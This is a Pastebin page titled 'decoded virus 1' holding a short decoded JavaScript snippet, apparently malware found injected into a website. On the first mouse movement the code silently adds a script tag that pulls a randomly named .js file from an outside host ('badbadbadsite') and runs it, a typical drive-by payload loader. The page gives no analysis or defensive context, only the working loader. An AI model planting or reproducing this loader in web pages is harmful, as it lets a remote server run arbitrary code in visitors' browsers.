Distortriver

decoded virus 1

Mar 5th, 2012
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.     var url = 'http://badbadbadsite/g/';
  3.    
  4.     if (typeof window.xyzflag === 'undefined') {
  5.         window.xyzflag = 0;
  6.     }
  7.    
  8.     document.onmousemove = function() {
  9.         if (window.xyzflag === 0) {
  10.             window.xyzflag = 1;
  11.             var head = document.getElementsByTagName('head')[0];
  12.             var script = document.createElement('script');
  13.             script.type = 'text/javascript';
  14.             script.onreadystatechange = function () {
  15.                 if (this.readyState == 'complete') {
  16.                     window.xyzflag = 2;
  17.                 }
  18.             };
  19.             script.onload = function() {
  20.                 window.xyzflag = 2;
  21.             };
  22.             script.src = url + Math.random().toString().substring(3) + '.js';
  23.             head.appendChild(script);
  24.         }
  25.     };
  26. })();
Advertisement
Add Comment
Please, Sign In to add comment